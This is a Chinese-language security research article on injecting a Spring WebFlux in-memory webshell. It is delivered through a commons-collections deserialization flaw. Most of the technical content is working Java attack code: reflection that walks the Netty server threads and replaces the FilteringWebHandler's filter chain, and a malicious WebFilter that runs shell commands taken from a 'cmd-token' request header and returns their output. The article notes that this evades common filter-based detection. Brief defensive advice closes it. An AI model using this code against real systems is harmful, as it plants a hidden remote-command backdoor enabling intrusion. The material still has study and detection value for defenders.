WebFlux应用一次反序列化注入Spring WebFlux内存马
字数 1610 2025-08-23 18:31:08

Spring WebFlux 内存马注入技术研究

一、前言

在Spring框架中,除了常见的Controller型和Interceptor型内存马,WebFlux型内存马是一种特殊类型的内存马。它本质上是一种变相的Filter类型内存马,但其filters并不存放在常见的filter集合中,使得传统的基于遍历所有filter来判断源文件是否存在的方式无法检测到这种内存马。

二、WebFlux基础

1. WebFlux简介

Spring框架包含两个Web框架:

  • Spring Web MVC:专为Servlet API和Servlet容器构建
  • Spring WebFlux:5.0版本新增,完全非阻塞,支持Reactive Streams背压,可运行在Netty、Undertow等服务器上

2. WebFlux基本组件

Handler示例

@Component
public class GreetingHandler {
    public Mono<ServerResponse> hello(ServerRequest request) {
        return ServerResponse.ok().contentType(MediaType.TEXT_PLAIN)
            .body(BodyInserters.fromValue("Hello Webflux!"));
    }
}

Router配置

@Configuration
public class GreetingRouter {
    @Bean
    public RouterFunction<ServerResponse> route(GreetingHandler greetingHandler) {
        return RouterFunctions.route(
            RequestPredicates.GET("/hello").and(RequestPredicates.accept(MediaType.TEXT_PLAIN)),
            greetingHandler::hello
        );
    }
}

3. WebFlux安全机制

WebFlux的安全鉴权主要依赖于WebFilter,通过@EnableWebFluxSecurity注解配置:

@Configuration
@EnableWebFluxSecurity
public class HelloWebfluxSecurityConfig {
    @Bean
    public MapReactiveUserDetailsService userDetailsService() {
        UserDetails user = User.withDefaultPasswordEncoder()
            .username("user")
            .password("user")
            .roles("USER")
            .build();
        return new MapReactiveUserDetailsService(user);
    }
}

三、WebFlux过滤器

WebFlux中存在两种类型的过滤器:

  1. WebFilter
  2. HandlerFilterFunction

WebFilter示例

@Component
public class MyWebFilter implements WebFilter {
    @Override
    public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
        System.out.println("MyWebFilter.....");
        return webFilterChain.filter(serverWebExchange);
    }
}

过滤器调用流程

  1. 调用Monosubscribe方法进行订阅时,首先会被filter拦截
  2. 调用链:
    filter: 13, MyWebFilter
    invokeFilter: 127, DefaultWebFilterChain
    lambda$filter$0: 121, DefaultWebFilterChain
    get: -1, 1931979761
    subscribe: 44, MonoDefer
    subscribe: 4150, Mono
    

四、内存马注入技术

1. 注入方法选择

两种主要方法:

  1. 通过API调用动态创建(如RequestMappingHandlerMapping#registerMapping
  2. 通过反射获取servlets/filters等属性,添加自定义类

本文选择第二种方法。

2. 定位WebFilter存储位置

使用工具java-object-searcher定位MyWebFilter类在内存中的位置。

3. WebFilter调用机制分析

  • 初始化时通过DefaultWebFilterChain构造方法创建chain
  • DefaultWebFilterChainWebFilterChain的实现类,每个实例代表chain中的一个link
  • 通过initChain方法初始化,遍历所有filters创建filter chain
  • 调用时通过currentFilterchain属性判断filter是否可用
  • 每个filter调用invokeFilter方法(即WebFilter#filter方法)
  • 每个filter返回webFilterChain.filter(serverWebExchange)将请求传递给下一个filter

4. 内存马注入步骤

  1. 获取线程中的WebFilterChain:
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
    if (thread.getClass().getName().contains("NettyWebServer")) {
        // 获取NettyWebServer
        NettyWebServer this$0 = (NettyWebServer) getField(thread, "this$0");
        // 获取ReactorHttpHandlerAdapter
        ReactorHttpHandlerAdapter handler = (ReactorHttpHandlerAdapter) getField(this$0, "handler");
        // 获取WebServerManager$DelayedInitializationHttpHandler
        Object httpHandler = getField(handler, "httpHandler");
        // 获取HttpWebHandlerAdapter
        Object delegate = getField(httpHandler, "delegate");
        // 获取ExceptionHandlingWebHandler
        Object delegate1 = getField(delegate, "delegate");
        // 获取FilteringWebHandler
        Object delegate2 = getField(delegate1, "delegate");
        // 获取DefaultWebFilterChain
        DefaultWebFilterChain chain = (DefaultWebFilterChain) getField(delegate2, "chain");
  1. 创建新的filter chain:
// 获取DefaultWebFilterChain中的handler属性
Object handler1 = getField(chain, "handler");
// 获取原始chain中的filters
List<WebFilter> filters = chain.getFilters();
// 创建自制的filter并添加进入newFilters集合中
ArrayList<WebFilter> newFilters = new ArrayList<>(filters);
WebFilter springWebFlux = new SpringWebFlux();
newFilters.add(springWebFlux);
// 创建包含恶意filter的chain
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler1, newFilters);
  1. 反射替换原有chain:
// 反射将newChain替换FilteringWebHandler的chain属性
Field fieldChain = FilteringWebHandler.class.getDeclaredField("chain");
Field fieldModifiers = Field.class.getDeclaredField("modifiers");
fieldChain.setAccessible(true);
fieldModifiers.setAccessible(true);
// 去除final
fieldModifiers.setInt(fieldChain, fieldChain.getModifiers() & ~Modifier.FINAL);
fieldChain.set(delegate2, newChain);
// 还原final
fieldModifiers.setInt(fieldChain, fieldChain.getModifiers() & Modifier.FINAL);

5. 恶意WebFilter实现

@Override
public reactor.core.publisher.Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
    try {
        String cmd = exchange.getRequest().getHeaders().get("cmd-token").get(0);
        if (cmd != null) {
            try {
                ProcessBuilder processBuilder;
                String o = "";
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    processBuilder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                } else {
                    processBuilder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
                }
                Scanner scanner = new Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");
                o = scanner.hasNext() ? scanner.next() : o;
                scanner.close();
                System.out.println(o);
                
                ServerHttpResponse response = exchange.getResponse();
                HttpHeaders headers = response.getHeaders();
                headers.add(HttpHeaders.CONTENT_TYPE, "text/plain");
                response.setStatusCode(HttpStatus.OK);
                DataBuffer buffer = response.bufferFactory().wrap(o.getBytes(StandardCharsets.UTF_8));
                return response.writeWith(Mono.just(buffer)).then(chain.filter(exchange));
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return chain.filter(exchange);
}

五、攻击实例

1. 环境准备

引入存在CC利用链的依赖:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

创建漏洞路由:

@Bean
public RouterFunction<ServerResponse> routeVuln(GreetingHandler greetingHandler) {
    return RouterFunctions.route(
        RequestPredicates.POST("/vuln").and(RequestPredicates.accept(MediaType.APPLICATION_FORM_URLENCODED)),
        greetingHandler::vuln
    );
}

反序列化处理:

public Mono<ServerResponse> vuln(ServerRequest request) {
    return request.bodyToMono(String.class)
        .flatMap(data -> {
            try {
                System.out.println("Received data: " + data.substring(3));
                byte[] bytes = Base64.getDecoder().decode(URLDecoder.decode(data.substring(3)));
                ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
                ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
                Object deserializedObject = objectInputStream.readObject();
                return ServerResponse.ok().build();
            } catch (Exception e) {
                e.printStackTrace();
                return ServerResponse.status(500).build();
            }
        });
}

2. 攻击流程

  1. 启动Spring WebFlux应用,初始只有两个filter
  2. 构造反序列化payload,注入内存马
  3. 动态增加自定义filter - SpringWebFilter
  4. 通过请求头cmd-token传递命令并获取执行结果

六、防御建议

  1. 及时更新Spring框架版本
  2. 禁用不必要的反序列化功能
  3. 实施严格的输入验证
  4. 使用安全工具监控内存中的filter变化
  5. 限制危险依赖的使用(如commons-collections 3.x)

七、总结

WebFlux内存马是一种特殊的内存马类型,其特点包括:

  • 不存放在常规filter集合中,难以检测
  • 通过反射修改filter chain实现注入
  • 利用反序列化漏洞进行远程注入
  • 具有命令执行能力且隐蔽性高

防御此类攻击需要从框架安全配置、代码审计和运行时监控等多方面入手。

Spring WebFlux 内存马注入技术研究 一、前言 在Spring框架中,除了常见的Controller型和Interceptor型内存马,WebFlux型内存马是一种特殊类型的内存马。它本质上是一种变相的Filter类型内存马,但其filters并不存放在常见的filter集合中,使得传统的基于遍历所有filter来判断源文件是否存在的方式无法检测到这种内存马。 二、WebFlux基础 1. WebFlux简介 Spring框架包含两个Web框架: Spring Web MVC:专为Servlet API和Servlet容器构建 Spring WebFlux:5.0版本新增,完全非阻塞,支持Reactive Streams背压,可运行在Netty、Undertow等服务器上 2. WebFlux基本组件 Handler示例 Router配置 3. WebFlux安全机制 WebFlux的安全鉴权主要依赖于 WebFilter ,通过 @EnableWebFluxSecurity 注解配置: 三、WebFlux过滤器 WebFlux中存在两种类型的过滤器: WebFilter HandlerFilterFunction WebFilter示例 过滤器调用流程 调用 Mono 的 subscribe 方法进行订阅时,首先会被filter拦截 调用链: 四、内存马注入技术 1. 注入方法选择 两种主要方法: 通过API调用动态创建(如 RequestMappingHandlerMapping#registerMapping ) 通过反射获取servlets/filters等属性,添加自定义类 本文选择第二种方法。 2. 定位WebFilter存储位置 使用工具 java-object-searcher 定位 MyWebFilter 类在内存中的位置。 3. WebFilter调用机制分析 初始化时通过 DefaultWebFilterChain 构造方法创建chain DefaultWebFilterChain 是 WebFilterChain 的实现类,每个实例代表chain中的一个link 通过 initChain 方法初始化,遍历所有filters创建filter chain 调用时通过 currentFilter 和 chain 属性判断filter是否可用 每个filter调用 invokeFilter 方法(即 WebFilter#filter 方法) 每个filter返回 webFilterChain.filter(serverWebExchange) 将请求传递给下一个filter 4. 内存马注入步骤 获取线程中的WebFilterChain: 创建新的filter chain: 反射替换原有chain: 5. 恶意WebFilter实现 五、攻击实例 1. 环境准备 引入存在CC利用链的依赖: 创建漏洞路由: 反序列化处理: 2. 攻击流程 启动Spring WebFlux应用,初始只有两个filter 构造反序列化payload,注入内存马 动态增加自定义filter - SpringWebFilter 通过请求头 cmd-token 传递命令并获取执行结果 六、防御建议 及时更新Spring框架版本 禁用不必要的反序列化功能 实施严格的输入验证 使用安全工具监控内存中的filter变化 限制危险依赖的使用(如commons-collections 3.x) 七、总结 WebFlux内存马是一种特殊的内存马类型,其特点包括: 不存放在常规filter集合中,难以检测 通过反射修改filter chain实现注入 利用反序列化漏洞进行远程注入 具有命令执行能力且隐蔽性高 防御此类攻击需要从框架安全配置、代码审计和运行时监控等多方面入手。